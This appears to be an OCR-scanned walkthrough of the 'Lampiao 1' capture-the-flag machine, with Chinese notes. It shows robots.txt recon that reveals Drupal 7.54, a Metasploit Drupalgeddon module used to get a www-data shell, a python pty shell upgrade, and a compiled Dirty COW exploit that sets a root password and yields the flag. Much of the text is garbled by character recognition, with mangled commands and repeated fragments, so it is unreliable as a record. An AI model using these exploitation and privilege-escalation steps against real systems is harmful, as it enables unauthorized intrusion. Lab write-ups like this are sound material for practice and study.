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Description Back to the Top

Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! "Lampido 1".
Get root!
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Home

User I o ,e 0 ~
SSICOEE Lampido, herdi ou vildo do Sertio?

Username *

Password *

Log in Para uns, um idolo. Para outros, assassino. Lampiso, uma das figuras mais misteriosas da histéria do
Brasil, passou a vida sendo temido e idolatrado pelas pessoas que aterrorizava e amparava. Conheca aqui
sua trajetéria.

Read more  Log in or register to post comments

First article.

Just testing..
LuizGonzaga-LampiaoFalou.mp3

Node 2 is not working :(

Readmore  Log in of register to post comments
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START_TIME: Fri
URL_BASE: http
WORDLIST_FILES:
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c @ © 4 192.168.1.162:1898/robots.txt
P . . .
# For %¥E3|TF—m ut the robots.txt standard, see:

# hitp L& FiBRFAE /robotstxt.html
User-agent: *

Crawl-delay: 10
# (55, 15, Images

Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:
Allow:

jmisc/*.
Jmisc/*.
jmisc/*.
Jmisc/*.
jmisc/*.
Jmisc/*.
jmisc/*.
Jmisc/*.

css%
css?
is$
js?
gif
JP9
1peg
png

/modules/*,
/modules/*,
/modules/*,
/modules/*,
/modules/*,
/modules/*,
/modules/*,
/modules/*,
fprofiles/*
/profiles/*
fprofiles/*
/profiles/*
fprofiles/*
/profiles/*
fprofiles/*
/profiles/*
Jthemes/*.
Jthemes/*.
Jthemes/*.
Jthemes/*.
Jthemes/*.
Jthemes/*.
Jthemes/*.
Jthemes/*.

csss
css?
jss
js?
gif
P9
1Peg
png
.C55%
.C557
.js$
.]s57
.gif
-JPg
-1Peg
.png
css$
css?
jss
157
gif
JPg
1PEg
png

# Directories

Disallow: /includes/
Disallow: /misc/

Disallow: /modules/
Disallow: /fprofiles/
Disallow: /scripts/
Disallow: /themes/

# Files

Disallow: /CHANGELOG.txt
Disallow: fcron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
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FECHANGELOG.txt>¢ 4+ B i & B T Drupal KR AR 7.54

getshell

i@t Kali# i) Searchsploit T. & 7] PA# & Drupal 7.543iX 4 ik 4~ A Drupalgeddon3# Drupalgeddon2is i
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SEEER: https://www.oreilly.com/library/view/hands-on-web-penetration/9781789953527/7a4d442c-493b-4cae-996



msf6 exploit( ) > show options

Module options (exploit/unix/webapp/drupal_drupa

Name Current Setti ir De iption

DUMP_OUTPUT false Dump payload command output

r PHP function to

A proxy ai f for :port[,type:host:port][ ... ]

RHOSTS 2.168.1.162 je The target host(s), see htt ithub.com/rapid7/metasploit-framew
RPORT ye E rt CP)
SSL false y for outgoing connections
TARGETURI i
VHOST

Name
LHOST 1 68.1. Li 1 address (an inter may be specified)
LPORT i
Exploit tar
Name

Automatic (PHP In-Memory)

(W —dat

155 F python#T 732 B xshell

python3 -c "import pty;pty.spawn("/bin/bash™)

pythen -V

python_ 3 ("/bin/bash
Tl — 2

ww-data@lampiao: /var/ww/html$ I
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1-Ubuntu SMP Wed Jul 13 01:06:37 C 6 i686 1686 1686 GNU/Linux

="Ubuntu 14.84.5 LTS"

VERSION="14.04.5 LTS, Trusty Tahr”

ID=ubuntu

ID_LIKE=debian

PRETTY_NAME .5 LTS"

VERSION_

HOME_URL ubuntu.com/"

SuUp T_URL="http: elp.ubuntu.com/"
_REPORT_URL="http: ugs.launchpad.net/ubuntu/"
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https://www.exploit-db.com/exploits/40847
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iting response ...
/plain]

in @s

root
root

v —dat ampiao:/tmp$ chmod +x 4B847.cpp
chmod [ 1] 1]
/tmp$ g+ -Wall -pedantic -02 -std=c++11 -pthread -o dcow 4@0847.cpp -lutil
-std=c++11 -pthread -o dcow 4@847.cpp -lutil
/tmp$ 1s -la

root root

root root 4896

ww-data www-data 18531

ww-data www-data 40168
ampiao:/tmp$ ./dcow

.fdcow

Running
ived su prompt (Password: )

Root password is: dirtyCowFun

Enjoy! :-)

www-datamlampiao: /tmp$

R Ih 3R BLroot Fl 7 f) 25 5
Vi Elrootll 7, Eui15 Elflag



ww-data@lampiao:/tmp$ ./dcow
Sdcow

Running ...

Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
ww-data@dlampiao:/tmp$ su root
su root

Password: dirtyCowFun

root@lampiao: /tmp# cd

[ofs]

root@lampiao:~# ls

1ls

flag.txt

root@lampiao:~# cat flag.txt

cat flag.txt
0740616875908d91ddcdaa8asa3af36es
root@lampiao:~# |
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https://github.com/mzet-/linux-exploit-suggester
https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679
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